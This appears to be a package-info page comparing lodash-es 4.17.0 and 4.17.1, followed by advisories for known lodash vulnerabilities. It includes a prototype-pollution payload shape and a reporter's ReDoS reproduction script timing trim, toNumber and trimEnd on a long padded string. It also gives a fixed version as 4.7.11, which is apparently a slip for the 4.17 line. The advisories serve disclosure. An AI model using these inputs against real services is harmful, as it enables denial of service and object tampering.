Lodash-es offers the popular Lodash utility library as ES modules, enabling modern JavaScript developers to leverage tree-shaking and reduce bundle sizes in their projects. Comparing versions 4.17.0 and 4.17.1, the key difference lies in the release date and potential bug fixes or minor enhancements introduced between the two. Version 4.17.0 was released on November 14, 2016, while 4.17.1 followed closely on November 15, 2016.
For developers considering using lodash-es, it's important to note that both versions include the core benefits of the library: a comprehensive suite of functions for array manipulation, object handling, string operations, and more. The ES module format allows developers to import only the specific functions they need, avoiding the inclusion of unused code in their final builds, a significant advantage for performance optimization. While the changelog between these specific versions is likely small, it's always recommended to use the latest stable release (or a version that fits your project's dependencies) to benefit from the most recent improvements and bug fixes. When choosing, consider checking the official Lodash repository for detailed release notes on bug fixes and enhancements introduced. Lodash-es streamlines development workflows and provides a reliable toolkit for many common JavaScript tasks.
All the vulnerabilities related to the version 4.17.1 of the package
Regular Expression Denial of Service (ReDoS) in lodash
lodash prior to 4.7.11 is affected by: CWE-400: Uncontrolled Resource Consumption. The impact is: Denial of service. The component is: Date handler. The attack vector is: Attacker provides very long strings, which the library attempts to match using a regular expression. The fixed version is: 4.7.11.
Prototype Pollution in lodash
Versions of lodash before 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep allows a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.12 or later.
Prototype Pollution in lodash
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.
This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.
Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
